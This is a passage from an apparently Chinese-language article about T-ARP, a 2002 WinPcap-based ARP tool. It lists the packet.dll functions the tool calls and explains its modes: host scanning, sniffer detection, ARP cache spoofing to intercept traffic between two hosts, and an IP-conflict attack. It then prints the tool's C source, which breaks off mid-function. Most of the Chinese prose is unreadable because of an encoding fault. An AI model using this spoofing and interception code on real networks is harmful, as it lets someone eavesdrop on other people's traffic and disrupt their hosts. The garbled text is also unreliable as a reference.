bs_drop,ps_ifdrop,bs_capt<br />聽聽聽聽聽聽聽聽聽聽bs_recv: 浠庣綉緇滈傞厤鍣ㄥ紑濮嬫崟鑾鋒暟鎹姤寮濮嬫墍鎺ユ敹鍒扮殑鎵鏈夋暟鎹姤鐨勬暟鐩紝鍖呮嫭涓㈠け鐨勬暟鎹姤錛?br />聽聽聽聽聽聽聽聽聽聽bs_drop: 涓㈠け鐨勬暟鎹姤鏁扮洰銆傚湪椹卞姩緙撳啿鍖哄凡緇忔弧鏃訛紝灝變細鍙戠敓鏁版嵁鎶ヤ涪澶辯殑鎯呭喌銆?br /><br />聽聽聽聽8>聽聽PCHAR PacketGetVersion()<br />聽聽聽聽聽聽聽聽榪斿洖鍏充簬dll鐨勭増鏈俊鎭?br /><br />聽聽聽聽9>聽聽VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)<br />聽聽聽聽聽聽聽聽鍒濆鍖栦竴涓猒PACKET緇撴瀯銆?br /><br />聽聽聽聽10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)<br />聽聽聽聽聽聽聽聽鎵撳紑涓涓綉緇滈傞厤鍣ㄣ?br /><br />聽聽聽聽11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)<br />聽聽聽聽聽聽聽聽浠嶯PF椹卞姩紼嬪簭璇誨彇緗戠粶鏁版嵁鎶ュ強緇熻淇℃伅銆?br />聽聽聽聽聽聽聽聽鏁版嵁鎶ョ紪鐮佺粨鏋勶細 |bpf_hdr|data|Padding|bpf_hdr|data|Padding|<br /><br />聽聽聽聽12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)<br />聽聽聽聽聽聽聽聽鍙戦佷竴涓垨澶氫釜鏁版嵁鎶ョ殑鍓湰銆?br /><br />聽聽聽聽13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)<br />聽聽聽聽聽聽聽聽璁劇疆鎹曡幏鏁版嵁鎶ョ殑鍐呮牳綰х紦鍐插尯澶у皬銆?br /><br />聽聽聽聽14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)<br />聽聽聽聽聽聽聽聽涓烘帴鏀跺埌鐨勬暟鎹姤璁劇疆紜歡榪囨護瑙勫垯銆?br />聽聽聽聽聽聽聽聽浠ヤ笅涓轟竴浜涘吀鍨嬬殑榪囨護瑙勫垯錛?br />聽聽聽聽聽聽聽聽聽聽NDIS_PACKET_TYPE_PROMISCUOUS: 璁劇疆涓烘販鏉傛ā寮忥紝鎺ユ敹鎵鏈夋祦榪囩殑鏁版嵁鎶ワ紱<br />聽聽聽聽聽聽聽聽聽聽NDIS_PACKET_TYPE_DIRECTED: 鍙湁鐩殑鍦頒負鏈湴涓繪満緗戠粶閫傞厤鍣ㄧ殑鏁版嵁鎶ユ墠浼氳鎺ユ敹錛?br />聽聽聽聽聽聽聽聽聽聽NDIS_PACKET_TYPE_BROADCAST: 鍙湁騫挎挱鏁版嵁鎶ユ墠浼氳鎺ユ敹錛?br />聽聽聽聽聽聽聽聽聽聽NDIS_PACKET_TYPE_MULTICAST: 鍙湁涓庢湰鍦頒富鏈虹綉緇滈傞厤鍣ㄧ浉瀵瑰簲鐨勫鎾暟鎹姤鎵嶄細琚帴鏀訛紱<br />聽聽聽聽聽聽聽聽聽聽NDIS_PACKET_TYPE_ALL_MULTICAST: 鎵鏈夊鎾暟鎹姤鍧囪鎺ユ敹錛?br />聽聽聽聽聽聽聽聽聽聽NDIS_PACKET_TYPE_ALL_LOCAL: 鎵鏈夋湰鍦版暟鎹姤鍧囪鎺ユ敹銆?br /><br />聽聽聽聽15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)<br />聽聽聽聽聽聽聽聽璁劇疆璋冪敤PacketSendPacket()鍑芥暟鍙戦佷竴涓暟鎹姤鍓湰鎵閲嶅鐨勬鏁般?br /><br />聽聽聽聽16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)<br />聽聽聽聽聽聽聽聽璁劇疆鍦ㄦ帴鏀跺埌涓涓暟鎹姤鍚庘滀紤鎭濈殑鏃墮棿銆?br />聽聽聽聽<br />聽聽聽聽浠ヤ笂灝辨槸T-ARP鎵璋冪敤鐨勫悇涓嚱鏁幫紝瀹冨寘鍚簡packet.dll閲岀殑澶ч儴鍒嗗嚱鏁般傚鏋滀綘鎯蟲洿娣卞眰鐨勪簡瑙inpcap,璇瘋闂浉鍏崇綉绔欙紝涓婚〉鍦板潃錛?<a target="_blank">http://winpcap.polito.it</a><br /><br />涓夛級T-ARP鍔熻兘鍙婂師鐞嗕粙緇?br />聽聽聽聽鍑嗗宸ヤ綔錛毬犅?br />聽聽聽聽聽聽1. 瀹夎winpcap椹卞姩錛岀洰鍓嶆渶鏂扮殑鐗堟湰涓簑inpcap_3.0_alpha, 紼沖畾鐗堟湰涓簑inpcap_2.3錛?br />聽聽聽聽聽聽2. 浣跨敤ARP嬈洪獥鍔熻兘鍓嶏紝蹇呴』鍚姩ip璺敱鍔熻兘錛屼慨鏀?娣誨姞)娉ㄥ唽琛ㄩ夐」錛?br />銆銆聽聽銆銆HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1銆<br /><br />聽聽聽聽閫夐」:聽聽<br />聽聽聽聽聽聽-m聽聽涓繪満鎵弿錛岃幏寰楀眬鍩熺綉鍐呮寚瀹歩p孌典腑瀛樻椿涓繪満鐨刬p鍦板潃鍜宮ac鍦板潃錛?br />聽聽聽聽聽聽-a聽聽鍙嶅梾鎺㈡壂鎻忥紝鑾峰緱灞鍩熺綉鍐呮寚瀹歩p孌典腑鍡呮帰涓繪満鐨刬p鍦板潃鍜宮ac鍦板潃錛?br />聽聽聽聽聽聽-s聽聽ARP嬈洪獥錛屾楠楀眬鍩熺綉鍐呮寚瀹氱殑涓ゅ彴涓繪満錛屼嬌鍏剁浉浜掑彂閫佹帴鏀剁殑鏁版嵁鎶ュ潎閫氳繃鏈湴涓繪満錛?br />聽聽聽聽聽聽聽聽聽聽緗戠粶鍡呮帰錛屽鏋滀綘閫夋嫨嬈洪獥鐨勪袱鍙頒富鏈哄潎鏄湰鍦頒富鏈猴紝閭d箞灝嗕細鐩戝惉鍒版墍鏈夋祦榪囨湰鍦頒富鏈虹殑鏁版嵁鎶ワ紱<br />聽聽聽聽聽聽聽聽聽聽IP鍐茬獊錛屽鏋滀綘閫夋嫨嬈洪獥鐨勪袱鍙頒富鏈烘槸鍚屼竴鍙伴潪鏈湴涓繪満錛岄偅涔堝氨浼氬彂璧穒p鍐茬獊鏀誨嚮錛?br />聽聽聽聽聽聽-r聽聽閲嶇疆琚楠椾富鏈猴紝浣胯嬈洪獥鐨勪袱鍙頒富鏈烘仮澶嶆甯哥殑宸ヤ綔鐘舵併?br /><br />聽聽聽聽鍘熺悊鍙婂疄鐜拌繃紼嬶細<br />聽聽聽聽聽聽鏃犺浠涔堥夐」錛岀涓浠朵簨灝辨槸鑾峰緱鏈湴涓繪満鐨刴ac鍦板潃鍙婄浉鍏崇綉緇滆緗傛垜浠互涓涓壒孌婄殑ip鍦板潃(112.112.112.112)鍚戞湰鍦頒富鏈哄彂閫佷竴涓狝RP Request(ARP璇鋒眰)鏁版嵁鎶ワ紝褰撴湰鍦頒富鏈烘帴鏀跺埌鍚庯紝灝變細鍙戦佷竴涓狝RP Reply(ARP搴旂瓟)鏁版嵁鎶ユ潵鍥炲簲璇鋒眰錛岃繖鏍鋒垜浠氨鍙互鑾峰緱鏈湴涓繪満鐨刴ac鍦板潃浜嗐傝嚦浜庣浉鍏崇殑緗戠粶璁劇疆鍙互閫氳繃PacketGetNetInfoEx()鍜孭acketGetNetType()鑾峰緱銆?br /><br />聽聽聽聽聽聽-m聽聽浠ユ湰鍦頒富鏈虹殑鍚嶄箟(鏈湴涓繪満鐨刬p鍜宮ac)鍚戞寚瀹歩p緗戞鍐呯殑鎵鏈変富鏈哄彂閫佸箍鎾?ff:ff:ff:ff:ff:ff)ARP Request鏁版嵁鎶ワ紝瀛樻椿鐨勪富鏈哄氨浼氬彂閫丄RP Reply鏁版嵁鎶ワ紝榪欐牱灝卞彲浠ヨ幏寰楀綋鍓嶅瓨媧諱富鏈虹殑鍒楄〃銆傚洜涓哄湪寰堝緗戝叧涓婇兘瀵笰RP Request鍋氫簡闄愬埗--闈炲唴緗慽p鍙戦佺殑ARP Request鏁版嵁鎶ヤ笉浼氬緱鍒扮綉鍏崇殑鍥炲簲錛屽鏋滀綘鐢ㄥ唴緗戠殑鍏朵粬鏌愬彴涓繪満鐨刬p鏉ュ彂閫丄RP Request鏁版嵁鎶ワ紝濡傛灉濉啓鐨刴ac鍦板潃鍜岀浉搴旂殑ip涓嶅悎錛屽氨浼氬嚭鐜癷p鍐茬獊銆傛墍浠ユ渶濂借繕鏄敤鑷繁鐨刬p鍜宮ac鍦板潃鏉ュ彂閫佽姹傘?br /><br />聽聽聽聽聽聽-a聽聽浠ユ湰鍦頒富鏈虹殑鍚嶄箟(鏈湴涓繪満鐨刬p鍜宮ac)鍚戞寚瀹歩p緗戞鍐呯殑鎵鏈変富鏈哄彂閫?1浣嶄吉騫挎挱鍦板潃(ff:ff:ff:ff:ff:fe)鐨凙RP Request鏁版嵁鎶ワ紝鍙湁姝e湪鍡呮帰鐨勪富鏈烘墠浼氬彂閫丄RP Reply鏁版嵁鎶ワ紝榪欐牱灝卞彲浠ヨ幏寰楀綋鍓嶅瓨媧諱富鏈虹殑鍒楄〃銆傚梾鎺腑鐨剋in2000緋葷粺榪樹細瀵?6浣嶄吉騫挎挱鍦板潃(ff:ff:00:00:00:00)鍋氬嚭鍥炲簲錛涜屽梾鎺腑鐨剋in95/98/me涓嶄粎浼氬洖搴?6浣嶄吉騫挎挱鍦板潃錛岃屼笖涔熶細鍥炲簲8浣嶄吉騫挎挱鍦板潃(ff:00:00:00:00:00)錛岃?NIX緋葷粺瀵瑰悇縐嶅箍鎾湴鍧鎵鍋氬嚭鐨勫弽搴斿嵈鏈変簺涓嶅悓銆傚湪姝ゆ垜浠夋嫨31浣嶄吉騫挎挱鍦板潃錛屾槸鍥犱負緇濆ぇ澶氭暟鐨勭郴緇熷湪鍡呮帰鏃墮兘浼氬瀹冨仛鍑哄洖搴斻傝屾甯哥姸鍐典笅鐨勫悇縐嶇郴緇燂紝閮戒笉浼氬31浣嶄吉騫挎挱鍦板潃鍋氬嚭鍥炲簲銆?br /><br />聽聽聽聽聽聽-s (ARP嬈洪獥spoof) 闇瑕佸己璋冪殑鏄湪鏌愪簺灞鍩熺綉(濡備互澶綉)鍐咃紝鏁版嵁鎶ョ殑鍙戦佷笌鎺ユ敹鏄熀浜庣‖浠跺湴鍧鐨勶紝榪欐槸鎴戜滑瀹炵幇嬈洪獥鐨勫熀紜銆傞鍏堣幏寰楁寚瀹氱殑涓ゅ彴涓繪満(鍋囪涓?A 鍜?B)鐨刴ac鍦板潃錛岀劧鍚庡悜A鍙戦丄RP Reply鏁版嵁鎶ワ紝鍏朵腑鐨勬簮ip鍦板潃涓築鐨刬p鍦板潃錛屼絾鏄簮mac鍦板潃鍗存槸鏈湴涓繪満鐨刴ac鍦板潃錛岃繖鏍蜂富鏈篈灝變細璁や負涓繪満B鐨刴ac鍦板潃鏄湰鍦頒富鏈虹殑mac鍦板潃錛屾墍浠ヤ富鏈篈鍙戦佸埌涓繪満B鐨勬暟鎹姤閮藉彂閫佸埌鏈湴涓繪満浜嗐傚悓鐞嗗悜涓繪満B鍙戦丄RP Reply鏁版嵁鎶ワ紝閫氱煡瀹冧富鏈篈鐨刴ac鍦板潃涓烘湰鍦頒富鏈虹殑mac鍦板潃銆傝繖鏍蜂富鏈篈鍜屼富鏈築灝變細鎶婄洰鐨勪富鏈虹殑mac鍦板潃鐞嗚В涓烘湰鍦頒富鏈虹殑mac鍦板潃錛屼簬鏄粬浠箣闂寸浉浜掑彂閫佺殑鏁版嵁鎶ラ兘棣栧厛鍒拌揪浜嗘湰鍦頒富鏈猴紝鑰屽厛鍓嶆垜浠凡緇忓皢鏈湴涓繪満璁劇疆浜唅p璺敱鍔熻兘錛岀郴緇熶細鑷姩灝嗘暟鎹姤杞彂鍒扮湡姝g殑鐩殑涓繪満銆傚叾闂達紝浣犲氨鍙互鐩戝惉瀹冧滑閫氫俊鐨勫悇縐嶆暟鎹姤浜嗐?br /><br />聽聽聽聽聽聽-s (緗戠粶鍡呮帰sniff) 濡傛灉鎸囧畾鐨勪袱涓洰鐨勪富鏈哄潎涓烘湰鍦頒富鏈猴紝閭d箞灝卞彧鏄皢緗戠粶閫傞厤鍣ㄨ緗負娣鋒潅妯″紡錛岃繖鏍峰氨鍙互鐩戝惉鍒版祦榪囨湰鍦頒富鏈虹綉緇滈傞厤鍣ㄧ殑鍚勭鏁版嵁銆?br /><br />聽聽聽聽聽聽-s (ip鍐茬獊shock錛?濡傛灉浣犻夋嫨嬈洪獥鐨勪袱鍙頒富鏈烘槸鍚屼竴鍙伴潪鏈湴涓繪満(鍋囧鏄富鏈篊)錛岄偅涔堝氨浼氫笉鏂湴鍚戜富鏈篊鍙戦丄RP Reply鏁版嵁鎶ワ紝鎶ユ枃涓殑婧恑p鍦板潃灝辨槸涓繪満C鐨刬p鍦板潃錛屼絾鏄簮mac鍦板潃鍗存槸鏈湴涓繪満鐨刴ac鍦板潃錛屽洜姝や富鏈篊灝變細鍙戠幇鏈夊彟涓鍙頒富鏈哄悓鏃舵嫢鏈夊拰鑷繁鐩稿悓鐨刬p錛岃繖灝辨槸ip鍐茬獊鏀誨嚮銆傚鏋滄槸闈瀤p緋葷粺,閮戒細璺沖嚭涓涓猧p鍐茬獊鐨勬彁紺虹獥鍙o紝鑰寈p緋葷粺涔熶細鏈夌被浼肩殑璀﹀憡銆備絾鏄娉ㄦ剰錛屽湪涓繪満C鐨勭郴緇熶簨浠舵煡鐪嬪櫒涓紝浼氱暀涓嬫湰鍦頒富鏈虹殑mac鍦板潃涓庝箣鍐茬獊鐨勬伓蹇冭褰曪紝鎵浠ヤ綘鏈濂戒笉瑕佹互鐢ㄨ繖涓姛鑳姐?br /><br />聽聽聽聽聽聽-r聽聽鍦ㄥ疄鐜頒簡ARP嬈洪獥鐨勬儏鍐典笅錛屽悜涓繪満A鍜孊鍙戦丄RP Reply鏁版嵁鎶ワ紝閫氱煡涓繪満A(B)娉ㄦ剰涓繪満B(A)鐨刴ac鍦板潃涓轟富鏈築(A)鑷繁鐨刴ac鍦板潃錛岃繖鏍蜂富鏈篈鍜孊灝變細鏇存柊浠栦滑鐨凙RP緙撳瓨錛屽疄鐜版甯哥殑鏁版嵁閫氫俊銆?br />聽聽聽聽聽聽<br />鍥涳級T-ARP涓昏浠g爜鍒嗘瀽<br />聽聽聽聽1> 鑷畾涔夊嚱鏁幫細<br />聽聽聽聽聽聽int getmine()聽聽聽聽//鍙戦丄RP Request鏁版嵁鎶ワ紝璇鋒眰鑾峰緱鏈湴涓繪満鐨刴ac鍦板潃錛?br />聽聽聽聽聽聽void getdata(LPPACKET lp,int op)聽聽//鍒嗙被澶勭悊鎺ユ敹鍒扮殑鏁版嵁鎶ワ紱<br />聽聽聽聽聽聽DWORD WINAPI sniff(LPVOID no)聽聽聽聽 //灝嗙綉緇滈傞厤鍣ㄨ緗負娣鋒潅妯″紡錛屾帴鏀舵墍鏈夋祦榪囩殑鏁版嵁鎶ワ紱<br />聽聽聽聽聽聽DWORD WINAPI sendMASR(LPVOID no)聽聽//鍙戦丄RP Request鏁版嵁鎶ワ紝璇鋒眰鑾峰緱鎸囧畾ip鐨刴ac鍦板潃錛?br />聽聽聽聽聽聽DWORD WINAPI sendSR(LPVOID no)聽聽聽聽//鍙戦丄RP Reply榪涜ARP嬈洪獥錛屾垨鏄洿鏂頒富鏈虹殑ARP緙撳瓨銆?br /><br />聽聽聽聽2> 涓昏浠g爜鍒嗘瀽<br />聽聽聽聽聽聽printf("\nLibarary Version: %s",PacketGetVersion());聽聽//杈撳嚭dll鐨勭増鏈俊鎭紱<br /><br />聽聽聽聽聽聽PacketGetAdapterNames((char *)adaptername,&adapterlength)聽聽//鑾峰緱鏈湴涓繪満鐨勭綉緇滈傞厤鍣ㄥ垪琛ㄥ拰鎻忚堪錛?br /><br />聽聽聽聽聽聽lpadapter=PacketOpenAdapter(adapterlist[open-1]);聽聽//鎵撳紑鎸囧畾鐨勭綉緇滈傞厤鍣紱<br /><br />聽聽聽聽聽聽PacketGetNetType(lpadapter,&ntype)聽聽//鑾峰緱緗戠粶閫傞厤鍣ㄧ殑MAC綾誨瀷錛?br /><br />聽聽聽聽聽聽PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen)聽聽//鑾峰緱鎸囧畾緗戠粶閫傞厤鍣ㄧ殑鐩稿叧淇℃伅錛?br /><br />聽聽聽聽聽聽rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);聽聽//鍒涘緩涓涓柊綰跨▼鏉ョ洃鍚綉緇滄暟鎹姤錛?br /><br />聽聽聽聽聽聽PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)聽聽//灝嗙綉緇滈傞厤鍣ㄨ緗負娣鋒潅妯″紡錛岃繖鏍鋒墠鍙互鐩戝惉嫻佽繃鏈湴涓繪満鐨勬暟鎹姤錛?br />聽聽聽聽聽聽PacketSetBuff(lpadapter,500*1024)聽聽//鑷畾涔夌綉緇滈傞厤鍣ㄧ殑鍐呮牳緙撶殑澶у皬涓?500*1024錛?br /><br />聽聽聽聽聽聽PacketSetReadTimeout(lpadapter,1)聽聽//璁劇疆鎺ユ敹涓涓暟鎹姤鍚庣瓑寰呯殑鏃墮棿涓?姣錛?br /><br />聽聽聽聽聽聽PacketReceivePacket(lpadapter,lppacketr,TRUE)聽聽//鍦ㄨ緗負娣鋒潅妯″紡鍚庯紝鎺ユ敹鎵鏈夌殑鏁版嵁鎶ワ紱<br /><br />聽聽聽聽聽聽sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);<br />聽聽聽聽聽聽sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);聽聽//鍒涘緩涓涓柊綰跨▼鍙戦佺壒瀹氱殑ARP鏁版嵁鎶?br /><br />聽聽聽聽聽聽PacketSetNumWrites(lpadapter,2)聽聽//鍦ㄥ彂閫佷竴涓暟鎹姤鏃訛紝閲嶅鍙戦佷袱嬈★紱<br /><br />聽聽聽聽聽聽PacketSendPacket(lpadapter,lppackets,TRUE)聽聽//鍙戦佽嚜瀹氫箟鏁版嵁鎶ワ紱<br />聽聽聽聽聽聽<br />聽聽聽聽聽聽WaitForSingleObject(sthread,INFINITE);聽聽//絳夊緟鍙戦丄RP鏁版嵁鎶ョ殑綰跨▼緇撴潫錛?br /><br />聽聽聽聽聽聽PacketGetStats(lpadapter,&stat)聽聽//鑾峰緱緗戠粶閫傞厤鍣ㄧ殑緇熻淇℃伅錛?br /><br />浜? T-ARP婧愪唬鐮?br /><br />#include <packet32.h><br />#include <ntddndis.h><br />#include <stdio.h><br />#include <conio.h><br /><br />#pragma comment(lib,"ws2_32")<br />#pragma comment(lib,"packet")<br /><br />#define ETH_IP聽聽聽聽聽聽 0x0800<br />#define ETH_ARP聽聽聽聽聽聽0x0806<br />#define ARP_REQUEST聽聽0x0001<br />#define ARP_REPLY聽聽聽聽0x0002<br />#define ARP_HARDWARE 0x0001<br />#define max_num_adapter聽聽10<br /><br />#pragma pack(push,1)<br /><br />typedef struct ethdr<br />{<br />聽聽聽聽unsigned char聽聽 eh_dst[6];<br />聽聽聽聽unsigned char聽聽 eh_src[6];<br />聽聽聽聽unsigned short聽聽eh_type;<br />}ETHDR,*PETHDR;<br /><br />typedef struct arphdr<br />{<br />聽聽聽聽unsigned short聽聽arp_hdr;<br />聽聽聽聽unsigned short聽聽arp_pro;<br />聽聽聽聽unsigned char聽聽 arp_hln;<br />聽聽聽聽unsigned char聽聽 arp_pln;<br />聽聽聽聽unsigned short聽聽arp_opt;<br />聽聽聽聽unsigned char聽聽 arp_sha[6];<br />聽聽聽聽unsigned long聽聽 arp_spa;<br />聽聽聽聽unsigned char聽聽 arp_tha[6];<br />聽聽聽聽unsigned long聽聽 arp_tpa;<br />}ARPHDR,*PARPHDR;<br /><br />typedef struct iphdr<br />{<br />聽聽聽聽unsigned char聽聽h_lenver;<br />聽聽聽聽unsigned char聽聽tos;<br />聽聽聽聽unsigned short total_len;<br />聽聽聽聽unsigned short ident;<br />聽聽聽聽unsigned short frag_and_flags;<br />聽聽聽聽unsigned char聽聽ttl;<br />聽聽聽聽unsigned char聽聽proto;<br />聽聽聽聽unsigned short checksum;<br />聽聽聽聽unsigned int聽聽 sourceip;<br />聽聽聽聽unsigned int聽聽 destip;<br />}IPHDR,*PIPHDR;<br /><br />#pragma pack(push)<br /><br />LPADAPTER lpadapter=0;<br />LPPACKET聽聽lppacketr,lppackets;<br />ULONG聽聽聽聽 myip,firstip,secondip;<br />UCHAR聽聽聽聽 mmac[6]={0},fmac[6]={0},smac[6]={0};<br />BOOL聽聽聽聽聽聽mm=FALSE,fm=FALSE,sm=FALSE; <br />FILE聽聽聽聽聽聽*fp; <br />char聽聽聽聽聽聽adapterlist[max_num_adapter][1024];<br />char聽聽聽聽聽聽msg[50];<br />int聽聽聽聽聽聽 num=0;<br /><br />void start()<br />{<br />聽聽聽聽printf("T-ARP --- ARP Tools, by TOo2y(貌1茅?), 11-9-2002\n");<br />聽聽聽聽printf("Homepage: <a target="_blank">www.safechina.net</a>\n");<br />聽聽聽聽printf("E-mail: TOo2y@safechina.net\n");<br />聽聽聽聽return ;<br />}<br /><br />void usage()<br />{<br />聽聽聽聽printf("\nUsage: T-ARP聽聽[-m|-a|-s|-r]聽聽firstip聽聽secondip聽聽\n\n");<br />聽聽聽聽printf("Option:\n");<br />聽聽聽聽printf("聽聽 -m聽聽mac聽聽聽聽聽聽聽聽Get the mac address from firstip to secondip\n");<br />聽聽聽聽printf("聽聽 -a聽聽antisniff聽聽Get the sniffing host from firstip to secondip\n");<br />聽聽聽聽printf("聽聽 -s聽聽spoof聽聽聽聽聽聽1> Spoof the host between firstip and secondip\n");<br />聽聽聽聽printf("聽聽聽聽聽聽 sniff聽聽聽聽聽聽2> Sniff if firstip == secondip == your own ip\n");<br />聽聽聽聽printf("聽聽聽聽聽聽 shock聽聽聽聽聽聽3> Shock if firstip == secondip != your own ip\n");<br />聽聽聽聽printf("聽聽 -r聽聽reset聽聽聽聽聽聽Reset the spoofed host work normally\n\n");<br />聽聽聽聽printf("Attention:\n");<br />聽聽聽聽printf("聽聽聽聽1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");<br />聽聽聽聽printf("聽聽聽聽2> HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n");<br />聽聽聽聽return ;<br />}<br /><br />int getmine()<br />{<br />聽聽聽聽char聽聽 sendbuf[1024];<br />聽聽聽聽int聽聽聽聽k;<br />聽聽聽聽ETHDR聽聽eth;<br />聽聽聽聽ARPHDR arp;<br /><br />聽聽聽聽for(k=0;k<6;k++)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽eth.eh_dst[k]=0xff;<br />聽聽聽聽聽聽聽聽eth.eh_src[k]=0x82;<br />聽聽聽聽聽聽聽聽arp.arp_sha[k]=0x82;<br />聽聽聽聽聽聽聽聽arp.arp_tha[k]=0x00;<br />聽聽聽聽}<br />聽聽聽聽eth.eh_type=htons(ETH_ARP);<br />聽聽聽聽arp.arp_hdr=htons(ARP_HARDWARE);<br />聽聽聽聽arp.arp_pro=htons(ETH_IP);<br />聽聽聽聽arp.arp_hln=6;<br />聽聽聽聽arp.arp_pln=4;<br />聽聽聽聽arp.arp_opt=htons(ARP_REQUEST);<br />聽聽聽聽arp.arp_tpa=htonl(myip);<br />聽聽聽聽arp.arp_spa=inet_addr("112.112.112.112");<br /><br />聽聽聽聽memset(sendbuf,0,sizeof(sendbuf));<br />聽聽聽聽memcpy(sendbuf,&eth;,sizeof(eth));<br />聽聽聽聽memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br />聽聽聽聽PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br />聽聽聽聽if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("PacketSendPacket in getmine Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽return -1;聽聽聽聽聽聽聽聽聽聽聽聽 <br />聽聽聽聽}<br />聽聽聽聽return 0;<br />}<br /><br />void getdata(LPPACKET lp,int op) <br />{<br />聽聽聽聽ULONG聽聽ulbytesreceived,off,tlen,ulen,ulLines;<br />聽聽聽聽ULONG聽聽j,k;<br />聽聽聽聽ETHDR聽聽*eth;<br />聽聽聽聽ARPHDR *arp;<br />聽聽聽聽PIPHDR ip;<br />聽聽聽聽char聽聽 *buf,*pChar,*pLine,*base;<br />聽聽聽聽struct bpf_hdr聽聽聽聽聽聽*hdr;<br />聽聽聽聽struct sockaddr_in聽聽sin;<br /><br /><br />聽聽聽聽ulbytesreceived=lp->ulBytesReceived;<br />聽聽聽聽buf=(char *)lp->Buffer;<br /><br />聽聽聽聽off=0;<br />聽聽聽聽while(off<ulbytesreceived)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽if(kbhit())<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽return ;<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽hdr=(struct bpf_hdr *)(buf+off);<br />聽聽聽聽聽聽聽聽off+=hdr->bh_hdrlen;<br /><br />聽聽聽聽聽聽聽聽pChar=(char *)(buf+off);<br />聽聽聽聽聽聽聽聽base=pChar;<br />聽聽聽聽聽聽聽聽off=Packet_WORDALIGN(off+hdr->bh_caplen);<br /><br />聽聽聽聽聽聽聽聽eth=(PETHDR)pChar;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽<br />聽聽聽聽聽聽聽聽arp=(PARPHDR)(pChar+sizeof(ETHDR)); <br /><br />聽聽聽聽聽聽聽聽if(eth->eh_type==htons(ETH_IP)) <br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽ip=(PIPHDR)(pChar+sizeof(ETHDR));<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽if(fm && sm && (op==3))聽聽<br />聽聽聽聽聽聽聽聽聽聽聽聽{聽聽<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip)) <br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽&& !strcmp((char *)eth->eh_dst,(char *)mmac)) <br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽&& ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip)) <br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽|| (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽|| ((firstip==myip) && (secondip==myip)))<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽memset(msg,0,sizeof(msg));<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽sin.sin_addr.s_addr=ip->sourceip;聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽strcpy(msg,inet_ntoa(sin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽strcat(msg+15," ---> ");<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽sin.sin_addr.s_addr=ip->destip;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽printf("%16s\n",inet_ntoa(sin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 <br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽strcat(msg+23,inet_ntoa(sin.sin_addr));<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fseek(fp,-2,1);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fwrite("\r\n\r\n\r\n",6,1,fp);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fwrite(msg,38,1,fp);<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽fwrite("\r\n",2,1,fp);<br /><br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽ulLines=(hdr->bh_caplen+15)/16;<br />聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽for(k=0;k<ulLines;k++)<br 